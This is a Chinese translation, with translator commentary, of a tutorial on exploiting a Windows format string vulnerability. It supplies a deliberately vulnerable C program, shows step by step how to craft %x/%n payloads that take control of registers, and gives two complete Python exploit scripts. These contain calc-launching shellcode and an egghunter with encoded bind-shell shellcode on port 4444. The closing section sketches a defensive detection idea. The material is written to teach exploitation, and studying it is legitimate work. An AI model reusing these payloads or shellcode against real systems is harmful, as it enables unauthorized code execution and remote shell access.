Windows格式化字符串漏洞利用
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Windows格式化字符串漏洞利用
作者:mr_me https:///blog/
译者:StudyRush(老钟古)/StudyRush/
老钟古序:
本来是打算翻译作者的另外一篇文章(/blog/?p=71)的,但是由于在实战分析过程中遇到了一些问题自己暂时无法解决,等技术掌握更深入一些之后再去想办法解决之后再进行翻译(实在不想让它胎死腹中)。
因为没有实战分析过的文章对自己产生的价值会小很多,没有实践过就等于把文章最精华的部分给浪费了,不能够为了翻译而翻译。
在翻译的过程中加了很多自己的心得体会。
正文:
这经常让我感到很奇怪怎么样才能够从一个格式化字符串的bug中来执行代码。
我知道在这样的一种情况下我们能够用C类型的说明符进行漏洞利用,在一个X86平台上我们不能够直接指向EIP寄存器或者结构化异常处理。
当大部分格式化字符串bugs几乎不存在时,我仍然感到对于任何一个安全分析师来说这是一个值得去理解的概念。
(即什么是格式化溢出漏洞)
基本步骤:
1.通过说明符%x来找到我们的缓冲区攻击字符串的起始位置。
2.使用%n将这个值写入到EAX寄存器中。
3.将一个指向我们的shellcode的地址放入到ECX/EDX寄存器中(为什么呢?)
4.通过%x来重新计算EAX寄存器的偏移并用一个有效的返回值来覆写它
(译注:补充点小知识:在格式化字符串的输出中
(1)s—这个参数被视为指向字符串的指针,将以字符串的形式输出参数;(2)n—这个参数被视为指向整数的指针,在这个参数之前输出的字符的数量将被保存到这个参数指向的地址里。
这个可以自己动手实践一下)
举个例子来验证一下%n的实际输出结果。
命令1:
E:\编程练习\C专家编程\第一章>formatstring.exe AAAAAAAAAA%x%x%x%x%x%x%x
在没有使用%n说明符的输出结果看下图
AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD00000000003e3b2f 这个里一个32个字符
用上面的输入则可以看出输出的字符数是为32的,现在我们再次输入上面的命令并把一个%x用%n进行替换,
命令2:
E:\编程练习\C专家编程\第一章>formatstring.exe AAAAAAAAAA%x%x%x%x%x%x%n
这时候的结果就为,参看下图:
从上面的得到的结果我们就可以知道,%n格式符把它的参数作为内存地址,把前面输出的字符的数量写到那个地址去,这一操作结果也就意味着我们有机会改写某个内存地址的数据,从而控制程序的执行,是不是感到有点迷糊呢?继续看接下来的分析)。
继续前进时,请确认你有在教程中需要的工具:
Immunity debugger (用Ollydbg也可以)
pywin32 (应该是Python的解释器)
一个编译器(Dev C++或lcc32也行) (我在实战中用CodeBlock编译器)
让我们从vuln.c开始
#include <stdio.h>
#include <string.h>
void parser(char *string)
{
char buff[256];
memset(buff, 0, sizeof(buff));
strncpy(buff, string, sizeof(buff) - 1);
printf(buff); //here is format string vulnerability
}
int main(int argc, char *argv[])
{
parser(argv[1]);
return 0;
}
好的,从上面的代码我们可以看到一个非常简单的格式化字符串漏洞,这个程序并没有使用格式化说明符(比如%d %s %lf这些)来指出要输出的类型,
(译注:因为printf函数的实现是可以用不定参数个数的,所以如果不具体指定要输出有多少个参数或者没有指定格式要输出的内容,这样做是很危险的。
当然这个错误一般来说都是可以避免的,通过测试或者自动化来搜索相应类型的函数来进行修改,从而可以避免这样的低级错误。
)
而是直接用printf()函数来解析buffer的内容。
这将允许一个攻击者来解析任意的说明符(类似%x,%n之类的),读取或写入到内存。
用上面两个编译器之一编译程序和继续跟随着下面的操作。
(原文作者使用lcc-32,我用的是CodeBlock这个IDE,另外如果用VS系列的编译器的话应该会有比较大的出入,我试了一下,输出来的内容有比较大的区别)
(译注:这里说明一下,在下面实际操作过程中我会展示原文中的图和自己实践过程中的截图,上面的图是原文的,下面的图是自己的)。
原文的图
自己机上实践的图
(译注:上面两个图的区别就是我用了四个%x 才输出了41414141,我用两个的时候并不能够输出,有可能这是编译器不同的原因或是不同操作系统平台)。
我们开始用程序来解析一个字符串值,它只是简单地将它打印到标准输出中。
注意到怎么样我们才能够用格式化说明符%x来进行解析和往回读取任意的数据。
每一个%x说明符我们将会解析成从栈上往回读一个双字。
我们必须不断用%x说明符直到我们到达字符串的起始位置。
我们可以放置一个任意双字节的字符串值来代替我们的目标位置。
举个例子,我们用%x直到我们到达了双字节位置。
(即图中的DDDD)
原文这里需要输入28个A、4个D和9个%x,我用了11个%x,这里跟前面一样要多使用两个%x。
这个应该是具体操作平台有关。
为了达到最好的效果,用一个字符串长度能够被4整除(这个将会在后面用shellcode代替)。
现在让我们在字符串中增加一个D或者\x44的数量和用%n来改变最后一个%x(即进行替换),因此我们可以写入最后一个双字节到EAX寄存器中。
你的字符串看起来应该像这样:AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%x%x%x%x%x%x%x% n
那么现在程序崩溃了会是怎么样呢?
(译注:我设置Immunity debugger为实时调试器之后,但当程序崩溃是却并没有弹出调试的界面,所以我用了OllyDbg来演示。
这个问题后来由论坛的Windbg 朋友给了我一个1.73版本的Immunity debugger可以解决,我的是1.82版本的。
成功设置之后的测试的结果与Ollydbg是一样的。
)
很好!我们能够用一个任意值来覆写EAX寄存器并且我们可以对其进行控制。
但就像MOV指令显示的那样(MOV DWORD PTR DS:[EAX], EDX)。
我们需要完全控制EAX和EDX,如果我们能够继续劫持程序的执行流程。
注意到当前的EDX寄存器的值是’\x5e’,这个值的变化对我们继续操作时将会变得很重要。
那么接下来我们要做什么呢?我们怎么做才能够控制EDX寄存器呢?来看看接下来的字符串:
AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD0123456789%x%x%x%x% x%x%x%x%n
我把“0123456789”包含在字符串中,现在来看看当程序再次崩溃是我们能够看到什么:
如果我们进行一个简单的计算,我们能够看到将会发生什么:\x5e - \x68 = A = 10字节。
(译注:自己实践的结果也是一样,但是这里感觉应该是\x68 - \x5e才对)。
结果是正确的因为我们插入了”0123456789”,整个的字节数量正好是10。
很好!所以现在我们知道我们要控制EDX寄存器值的基础上所需要在攻击字符串放置的字节数。
为了利用这个格式化字符串漏洞,我们需要用一个指针来覆写EDX 寄存器,是为了让其指向我们的攻击缓冲区内容(或shellcode)。
举个例子,如果我们向EDX寄存器写入0x0012fe60(十进制1244768,),那我们将会变得非常困难,
(译注:观察原文图中的堆栈你就会明白这里的数据,如果按照前面所使用的方法确定用多少个字节数到EDX中,想象一下我们需要输入1244168次%x,那真的是相当痛苦,不过解决的方法在后面介绍)。
因为我们将至少需要1244768字节在我们的攻击字符串中才能够用正确的值来覆写EDX寄存器。
然而,我们能够克服这个障碍通过使用一个格式化说明符将会允许我们用它来生成大量的字节数能够实时写入和读取。
(译注:举个例子,比如我们需要输入或者读取100个字节的话,如果我们用手工来进行操作就显得有点笨了,可以利用格式化说明符,比如%0nx,n则代表我们需要写入或读取的字节数,在这里说明一下,原文中使用%.nx在实战过程中会操作不成功,即是打印出来的字符数并不是我们所需要的那个数量,这里应该使用%0nx,表示输出n个字符,不足的用0填充)。
%0nx将会实时地读入n个数量的字节,随后就能够选择写入那个值。
所以让我们尝试这个理论通过一个像下面这样的攻击字符串:
AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%016x%n
好的,所以我们用’%016x%n’在我们的载体将会有效的写入+16字节到EDX中。
让我们再次进行一个简单的计算来验证这是否正确。
\x30 = (十进制)48 –32 字节(即27个A和5个D)= 16字节。
很好,所以我们能够写入16(十进制)到EDX寄存器中。
现在如果我们拿1244768(十六进制0x0012fe60)为我们的目标值和用它除以4我们得到‘311192’,所以我们能够仅仅读入这个值四次就可以了,然后将它写入到EDX寄存器中。
举个例子:AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%0311192x%0311192x%03 11192x%0311192x%n
(译注:这里需要说明一下,如果你有看过泉哥翻译的这篇文章,那么你应该明白311192代表的是什么意思,现在这里进行解释一下,因为我们要进行覆写返回地址,我们需要在栈上进行,看下面的几幅图你就会明白其中的道理了。
上面这幅图就是栈中的情况了。
我们可以在调试器中在鼠标指向ESP是单击右键,并选择在Follow in Dump这个操作,这样我们就可以看到上面的图了。
我们在这往下滚动,直到考到我们的字符串出现的地方,这里到后面的几个图我又是用回Immunity debugger,因为在Ollydbg显示下面这个图的结果并不明朗,所以改了。
看下图:
当执行上面操作时,可能需要花费一些时间才能够触发异常。
你将会看到像下面这样的屏幕:
一旦完成我们能够看到在崩溃的转储文件中,EDX寄存器的值为0x0012fe80,我们看上去其值几乎就是正确的值与指向%0311192x的值(0x0012fe60)相比较。
在进行上面大量的写入字符操作时,我们可以把命令放在一个txt中先,每次修改之后在复制到cmd窗口去执行,这样操作起来比较方便。
接下来的操作就是进行对EDX寄存器的修改了。
这里由于不同操作系统的应该会有不同的ESP值,所以下面的几个操作我就不一一演示了,因为这里需要自己进行一些测试才能够得到正确的结果,我就在后面给出自己得到的最后结果,如果这里可以实现自动化定位那该有多好。
为什么EDX寄存器并没有包含我们缓冲区的内容呢?因为计算EDX寄存器的值是包括我们缓冲区字符串的32字节的长度。
我们简单的将其(32)除以4并且从%311192的值中去掉它。
结果就会等于这样:
AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%0311184x%0311184x%03 11184x%0311184x%n
结果如下图所示:
现在我们有一个小小的问题。
我们的EAX寄存器并不是被D’s所覆写。
这很简单因为我们增加了更多的字符串值并且我们能够继续增加%x说明符直到我们能够读取我们字符串的末端(即字符串的最后)。
让我们放一个任意的值在我们的字符串的末尾被用来读取(译注:即验证我们是否可以读到字符串的末尾)和用%n 来代替一个%x。
我们也能够用%.000016x来代替每一个%0381184x来加快处理过程。
举个例子:(这里自己对其进行修改了)
1.AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%016x%016x%016x%0
16x%xCCCC
2.AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%x%016x%016x%016
x%016x%xCCCC
3.AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%x%x%016x%016x%
016x%016x%xCCCC
4.AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%x%x%x%016x%016
x%016x%016x%xCCCC
自己验证了一下:
我们继续增加%x说明符直到我们能够读取CCCC的字符串值或是\x43\x43\x43\x43一个双字节。
最后的完整的字符串将变成:
AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%x%x%x%x%x%x%x% x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%0311184x%031 1184x%0311184x%0311184x%nCCCC
但现在我们必须重新计算也是最后一次计算EDX寄存器的值!这是很简单的操作,只要计算0x0012ff46 – 0x0012fe60 = e6 = 230(十进制)的数量即可。
现在我们将这个值除以4并且将得到的结果从每一个%.nx说明符中减掉。
这时候,我们的字符串看起来像这样:AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDD%x%x%x%x%x%x%x%x% x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%0311126x%031 1126x%0311127x%0311127x%nCCCC
(译注:这里给出自己最后得到的结果:
formatstring.exe ccccccccccccccccccccccccccccccccccc%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%0573248x%0 573248x%0573248x%0573247x%nBBBBB 这是操作的命令,结果如下图所示。
)
正如你所看到的,这个结果是很了不起的!我们已经能够完全控制EAX和EDX 寄存器了。
现在我们必须用一个有效的返回地址来替换EAX寄存器的值。
使用Alt + k在Immunity debugger中,这将会向我们显示程序调用栈的情况,我们可以使用这里的一个返回地址或者在任何其它位置上的二进制代码中寻找。
(译注:这里我得到的结果是比较悲观的,因为只有一个返回地址,而且还不能够确定能否用。
)
当然我们必须确认这是一个返回地址并且跟随到栈中相应的位置进行确认。
这个地址包含有NULL字节,我们的字符串会被任何的null字符分离开。
因此我们简单地附加这个逆序存放(译注:逆序存放则我们可以将null字节放在最末尾而可以忽略,则shellcode不会被中断)的返回地址在我们的字符串的末尾(因为字节序的问题)。
现在我们将把所有字符串放置到一个Poc exploit脚本来生成我们的payload并且破解这个程序。
我已经插入一个硬编码后的calc(即calc 的指令序列)来给WinExec()调用并且已经在Windows XP SP3中测试成功。
这里是Poc:
#!/usr/bin/python
import os
import sys
import time
import win32api
# 84 bytes for shellcode
# calc.exe
shellcode = ("\x90" * 4)
shellcode += ("\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
"\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x8D\x45"
"\xF8\x50\xBB"
"\xad\x23\x86\x7c" # WinExec() (hardcoded for testing, change for your service pack) "\xFF\xD3")
shellcode += ("\xcc" * (84-len(shellcode)))
buff = shellcode
buff += ("%x" * 55 + "%")
buff += (".311062x%.311062x%.311061x%.311061x%n")
buff += ("\xb8\xe5\x12") # ret 0x0012E5B8
win32api.WinExec(('formatstring.exe %s') % buff, 1
最后的结果:
乐趣和游戏并没有因此就结束了。
当开发一个exploit的时候你不得不考虑只有一个小空间来存放你的shellcode的情况。
在测试过程中,我使用了一个最大才为160字节的shellcode空间。
现在如果我们在一种情况下,指令并不是从null 字节开始的。
我们能够把潜在的shellcode填充到返回地址之后找到它通过一些egghuntershellcode
让我们来看看利用egghunter版本的exploit。
import os
import sys
import time
import win32api
# ============================ #
# vuln.c format string exploit #
# code by mr_me #
# ============================ #
# stage 1 shellcode egg hunter 84 bytes for space
eh = ("\x90" * 9)
eh += ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB 8"
"\x57\x30\x30\x54" # this is the egg...
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
eh += ("\xcc" * (84-len(eh)))
# stage 2 shellcode bind shell on port 4444
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
"\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
"\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
"\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
"\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
"\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
"\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
"\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
"\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44" "\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50" "\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f" "\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33" "\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f" "\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f" "\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50" "\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d" "\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45" "\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f" "\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38" "\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55" "\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d" "\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d" "\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38" "\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35" "\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37" "\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56" "\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56" "\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54" "\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54" "\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53" "\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51" "\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35" "\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35" "\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c" "\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f" "\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f" "\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e" "\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a")
buff = eh
buff += ("%x" * 55 + "%")
buff += (".311062x%.311062x%.311061x%.311061x%n")
buff += ("\xb8\xe5\x12\x01") # ret 0012E5B8 (change 0x01 to 0x00) buff += ("W00TW00T")
buff += shellcode
win32api.WinExec(('formatstring.exe %s') % buff, 1
总结:
学会了如何进行格式化字符串漏洞的利用,但是能否实现一些操作的自动化和能否绕过DEP的保护机制和利用egg-hunter的技术的利用,这些自己都没有涉及到。
这里自己可以提供一个预防格式化字符串漏洞的方法,因为造成格式化漏洞的几个主要函数,在编程的时候编译器一般都会有给我们提示,但它又是如何实现的呢?对此我觉得一种思路也是挺不错的,就是字符串的匹配,但这里需要的是多串匹配的算法,这时候就需要用到Aho-Corasick automation(即简称为AC自动机)。
这个在编译器的词法分析中有可能会用到的,具体的思想就是Trie 树加上KMP字符串匹配的算法,这里推荐两篇学习文章,我放在附件里面。
具体的实现网上应该有很多。
其次AC自动机远远不止这个用途,比如可以做一些敏感词的过滤,但基于中文的匹配还是有难度的。
如果了解了相应的知识之后,可以把那些容易引起格式化字符串漏洞的函数,比如printf几个函数建立一个Trie树,并将我们编写的源代码作为文本,再在这个Trie树上进行匹配,当然前提是我们在Trie树中已经使用了KMP算法,把AC自动机已经建立起来。
其效率是优秀的,一般可以认为O(m),m为文本串的长度。
参考文献:
/blog/2009/02/format-string-exploitation-on-windows/ /cs155/papers/formatstring-1.2.pdf
The shellcoder’s handbook (Chris Anley, John Heasman, FX, Gerardo Richarte)
译注:
原文地址:/blog/?p=194
第一篇的参考文献已经由泉哥翻译了,第三篇也是论坛中有电子版的。